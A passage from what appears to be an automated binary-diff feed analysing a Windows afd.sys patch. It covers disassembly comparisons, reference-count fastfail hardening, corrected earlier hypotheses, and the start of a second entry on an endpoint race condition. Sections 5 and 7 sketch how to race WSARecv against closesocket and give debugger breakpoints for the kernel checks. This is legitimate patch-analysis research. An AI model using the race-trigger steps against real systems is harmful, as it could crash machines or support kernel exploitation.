&lt;span class="mi"&gt;0000000140043&lt;/span&gt;&lt;span class="n"&gt;F75&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;0000000140043&lt;/span&gt;&lt;span class="n"&gt;F78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jg&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_140043F81&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;
&lt;span class="mi"&gt;0000000140043&lt;/span&gt;&lt;span class="n"&gt;F7A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Eh&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FAST_FAIL_INVALID_REFERENCE_COUNT&lt;/span&gt;
&lt;span class="mi"&gt;0000000140043&lt;/span&gt;&lt;span class="n"&gt;F7F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__fastfail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;0000000140043&lt;/span&gt;&lt;span class="n"&gt;F81&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;AfdTLTPacketsSend&lt;/code&gt; — same transformation plus allocation API update&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED AfdTLTPacketsSend @ 0x1C003EFE8 ===&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C003F09B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unchecked&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C003F0A6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unchecked&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C003F116&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePoolWithQuotaTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ntoskrnl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;AfdF&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED AfdTLTPacketsSend @ 0x140053CE8 ===&lt;/span&gt;
&lt;span class="mi"&gt;0000000140053&lt;/span&gt;&lt;span class="n"&gt;DC6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;increment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__fastfail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;0000000140053&lt;/span&gt;&lt;span class="n"&gt;DD7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mi"&gt;0000000140053&lt;/span&gt;&lt;span class="n"&gt;DDE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;increment&lt;/span&gt;
&lt;span class="mi"&gt;0000000140053&lt;/span&gt;&lt;span class="n"&gt;DEC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Eh&lt;/span&gt;
&lt;span class="mi"&gt;0000000140053&lt;/span&gt;&lt;span class="n"&gt;DF1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mf"&gt;0000000140053E6&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePool2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ntoskrnl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x30&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;AfdF&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The allocation change in &lt;code&gt;AfdTLTPacketsSend&lt;/code&gt; is &lt;code&gt;ExAllocatePoolWithQuotaTag(NonPagedPool|Quota, 0x30, 'AfdF')&lt;/code&gt; becoming &lt;code&gt;ExAllocatePool2(0x61, 48, 'AfdF')&lt;/code&gt;. The size (&lt;code&gt;0x30&lt;/code&gt; = &lt;code&gt;48&lt;/code&gt;) and pool tag (&lt;code&gt;0x46646641&lt;/code&gt; = &lt;code&gt;'AfdF'&lt;/code&gt;) are identical; this is the standard modernization to the &lt;code&gt;ExAllocatePool2&lt;/code&gt; API, not a size correction.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Reaching the reference-count fastfail&lt;/h3&gt;
&lt;p&gt;The fastfail fires only if an AFD object's reference count is already at or below 0 at the moment a new reference is taken. From user mode this requires driving the driver into a reference-count underflow, which is not demonstrated by the diff. A plausible race to probe:
1. Create a TCP socket via &lt;code&gt;WSASocket(AF_INET, SOCK_STREAM, 0)&lt;/code&gt; and connect/bind it.
2. Issue an overlapped &lt;code&gt;WSARecv&lt;/code&gt; (mapped to &lt;code&gt;AFD_RECV&lt;/code&gt;) so a receive-repost context is live.
3. From a second thread, call &lt;code&gt;closesocket()&lt;/code&gt; while the receive is pending, racing endpoint teardown against &lt;code&gt;AfdRestartBufferReceiveWithUserIrp&lt;/code&gt; / &lt;code&gt;AfdTLTPacketsSend&lt;/code&gt; reference operations.
4. On a patched machine, if the race drives the count to 0 before a reference is re-taken, the checked increment executes &lt;code&gt;__fastfail(0xE)&lt;/code&gt; and the machine bugchecks (&lt;code&gt;0x139&lt;/code&gt; KERNEL_SECURITY_CHECK_FAILURE with fastfail code &lt;code&gt;0xE&lt;/code&gt;). On an unpatched machine the same race would silently continue with a revived (dangling) object.&lt;/p&gt;
&lt;p&gt;Note: reproducing this deterministically is not established here; the guard is defense-in-depth.&lt;/p&gt;
&lt;h3&gt;AFD accept/listen data path (&lt;code&gt;AfdServiceWaitForListen&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;No buffer-validation bug was found in this path. The accept/listen data delivery reached via &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; → &lt;code&gt;AfdWaitForListen&lt;/code&gt; → &lt;code&gt;AfdServiceWaitForListen&lt;/code&gt; performs the same bounds checks and the same MDL-mapped copy in both builds.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; None is provided by the diff. The reference-count fastfail is a mitigation: it converts a would-be use-after-free (reference taken on a freed object) into an immediate, non-exploitable bugcheck. It does not by itself expose an out-of-bounds write or a controllable free.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What a researcher would still need to confirm:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Whether any AFD reference count can actually be driven to 0 while a concurrent path still takes a reference (the underflow precondition). The diff shows the guard, not a reachable trigger.&lt;/li&gt;
&lt;li&gt;Which specific object types (endpoint, connection, receive-repost context) are reachable with attacker-controlled timing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigation nature:&lt;/strong&gt; The &lt;code&gt;__fastfail(0xE)&lt;/code&gt; / FAST_FAIL_INVALID_REFERENCE_COUNT pattern is a runtime integrity check. It stops exploitation of a reference-count underflow at the point of detection; it does not remove a root-cause logic defect, because none is visible in this diff.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Attach a kernel debugger (WinDbg/KD) to the target machine.&lt;/p&gt;
&lt;h3&gt;Observing the reference-count check&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;
  &lt;code&gt;text
  bp afd+0xC24F   ; patched AfdRestartBufferReceiveWithUserIrp checked increment (0x14000C24F)
  bp afd+0xC262   ; the int 29h fastfail site (0x14000C262)&lt;/code&gt;
  (On the unpatched build the corresponding increment is at &lt;code&gt;AfdRestartBufferReceiveWithUserIrp + 0x22912&lt;/code&gt;, &lt;code&gt;lock inc dword ptr [rdi+30h]&lt;/code&gt;, with no following check.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What to Inspect:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;At the &lt;code&gt;lock xadd [rbx+30h], rax&lt;/code&gt; site: read &lt;code&gt;[rbx+0x30]&lt;/code&gt; before the increment. A value of &lt;code&gt;0&lt;/code&gt; (or negative) means the next instruction sequence will take &lt;code&gt;rax&lt;/code&gt;/new-count &lt;code&gt;&amp;lt;= 1&lt;/code&gt; and route to &lt;code&gt;int 29h&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;At the fastfail: &lt;code&gt;ecx = 0xE&lt;/code&gt; confirms FAST_FAIL_INVALID_REFERENCE_COUNT. The resulting bugcheck is &lt;code&gt;0x139&lt;/code&gt; (KERNEL_SECURITY_CHECK_FAILURE) with subcode &lt;code&gt;0xE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger Setup:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Run a tight loop of overlapped &lt;code&gt;WSARecv&lt;/code&gt; immediately followed by &lt;code&gt;closesocket()&lt;/code&gt; from separate threads across many sockets to maximize the teardown-vs-repost race window.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expected Observation:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;On patched: an immediate &lt;code&gt;__fastfail&lt;/code&gt;-driven bugcheck (&lt;code&gt;0x139&lt;/code&gt;, subcode &lt;code&gt;0xE&lt;/code&gt;) if and only if the race drives a reference count to &lt;code&gt;0&lt;/code&gt; before a new reference is taken.&lt;/li&gt;
&lt;li&gt;On unpatched: no fastfail; the reference count is silently incremented from &lt;code&gt;0&lt;/code&gt;, leaving a revived object that may be used after free later.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Comparing the accept/listen data path&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;
  &lt;code&gt;text
  bp afd!AfdServiceWaitForListen   ; entry, both builds&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What to Inspect:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Confirm the bounds checks and the &lt;code&gt;memmove&lt;/code&gt; source (&lt;code&gt;*(a2+0x98)+6&lt;/code&gt;) and length (&lt;code&gt;*(*(a2+0x98)+4)+2&lt;/code&gt;) are the same in both builds. This path is unchanged apart from the reference-count fastfail and struct-offset shifts.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;(Note: Many functions changed only by register reassignment, struct-offset shifts from context-structure growth, or the reference-count fastfail rollout. Those are grouped accordingly.)&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Reference-count integrity hardening (security-relevant)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdServiceWaitForListen @ 0x1C00197C0&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9073): Bounds-check block refactored to an equivalent compound conditional (no logic change); reference-count increment at field &lt;code&gt;+0x38&lt;/code&gt; became a checked 64-bit increment at &lt;code&gt;+0x40&lt;/code&gt; with &lt;code&gt;__fastfail(0xE)&lt;/code&gt;. No OOB write present.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdRestartBufferReceiveWithUserIrp @ 0x1C0005A10&lt;/code&gt;&lt;/strong&gt; (Sim: 0.8368): Reference-count increment at &lt;code&gt;[obj+0x30]&lt;/code&gt; changed from &lt;code&gt;lock inc&lt;/code&gt; (32-bit) to &lt;code&gt;lock xadd&lt;/code&gt; (64-bit) with a &lt;code&gt;__fastfail(0xE)&lt;/code&gt; guard when the new count is &lt;code&gt;&amp;lt;= 1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdTLTPacketsSend @ 0x1C003EFE8&lt;/code&gt;&lt;/strong&gt; (Sim: 0.827): Two reference-count increments (&lt;code&gt;+0x30&lt;/code&gt;, &lt;code&gt;+0x38&lt;/code&gt;→&lt;code&gt;+0x40&lt;/code&gt;) hardened with &lt;code&gt;__fastfail(0xE)&lt;/code&gt;; allocation modernized from &lt;code&gt;ExAllocatePoolWithQuotaTag(0x30, 'AfdF')&lt;/code&gt; to &lt;code&gt;ExAllocatePool2(0x61, 48, 'AfdF')&lt;/code&gt; — same size (&lt;code&gt;0x30&lt;/code&gt;) and tag (&lt;code&gt;'AfdF'&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;WskKnrCompletePending @ 0x1C0013068&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9054, Behavioral): Reference-count decrement handling restructured (fields consolidated); the driver-wide fastfail pattern is consistent with the rest of the patch. No independent exploitable change identified.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Other changed functions (behavioral / cosmetic)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdRioCreateRqPair @ 0x1C0048484&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9023): Registered-I/O buffer registration (MDL allocate + probe/lock + map). Uses &lt;code&gt;AfdRioCheckRqBufferSize @ 0x1C0047030&lt;/code&gt; to validate &lt;code&gt;count*0x48+0x10 == total_size&lt;/code&gt; with &lt;code&gt;count &amp;lt;= 0x38E38E2&lt;/code&gt; (integer-overflow guard). Error paths were consolidated; no new bug identified.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdFastTransmitFile @ 0x1C003D7B4&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9225, Behavioral): Fast-path file send using &lt;code&gt;FsRtlCopyRead&lt;/code&gt; / &lt;code&gt;FsRtlMdlRead&lt;/code&gt;. Sums three sizes and uses an int-sized allocation length on the buffered path; the large-transfer path uses MDL-based I/O. No security-relevant change confirmed in the diff.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdRioCheckRqBufferSize @ 0x1C0047030&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9524, Cosmetic): Integer-overflow guard (&lt;code&gt;arg1 * 0x48 + 0x10 == arg2&lt;/code&gt;, &lt;code&gt;arg1 &amp;lt;= 0x38E38E2&lt;/code&gt;). Equivalent logic in both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AFDETW_TRACERECVDATAGRAM @ 0x1C000AC10&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9077, Cosmetic): ETW trace logging; register/data-reference changes only.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;WskTdiCreateAO @ 0x1C00751B0&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9526, Behavioral): Device file creation via &lt;code&gt;IoCreateFileEx&lt;/code&gt; with an ECP list; allocation wrapper changed. No security-relevant change identified.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AfdCommonDelAddressHandler @ 0x1C00668D0&lt;/code&gt;&lt;/strong&gt; (Sim: 0.9561, Cosmetic): List management; register renaming, equivalent logic.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;There were &lt;strong&gt;no unmatched functions&lt;/strong&gt; in either build. All modifications were in-place, consistent with an iterative patch (a broad reference-count-integrity hardening pass plus API modernization) rather than an architectural refactor.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High for the description of the change (reference-count increments hardened with &lt;code&gt;__fastfail(0xE)&lt;/code&gt; at multiple sites in both the disassembly and decompilation). Low for any claim of a concrete exploitable primitive, because the diff shows only the guard being added, not a reachable underflow.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Corrections to earlier hypotheses:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The reported out-of-bounds write in &lt;code&gt;AfdServiceWaitForListen&lt;/code&gt; is not supported by the binaries: the bounds checks are logically identical between builds and the copy source is the same validated pointer in both.&lt;/li&gt;
&lt;li&gt;The reported "non-atomic decrement / double-free" mechanism is not present. Both builds use atomic operations. The real change is a checked &lt;em&gt;increment&lt;/em&gt; with &lt;code&gt;__fastfail(0xE)&lt;/code&gt;, not a decrement guard, and the fastfail code is &lt;code&gt;0xE&lt;/code&gt;, not &lt;code&gt;0xD&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;AfdTLTPacketsSend&lt;/code&gt; allocation change does not fix an undersized allocation; size and tag are unchanged.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verification Required:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;To upgrade Finding 2 beyond hardening, demonstrate a reachable reference-count underflow for a specific AFD object under attacker-influenced timing.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>afd.sys — Race condition on endpoint dispatch-pointer swap in AfdTLListenComplete (CWE-362) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/afd_3b5c7354-afd-report-20260626-132508.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/afd_3b5c7354-afd-report-20260626-132508.html</id><summary type="html">&lt;p&gt;KB5082198&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;afd_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;afd_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; &lt;code&gt;0.9805&lt;/code&gt; (98.05%)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 1098 matched functions (1084 identical, 14 changed), 0 unmatched functions in either direction.&lt;/li&gt;
&lt;/ul&gt;
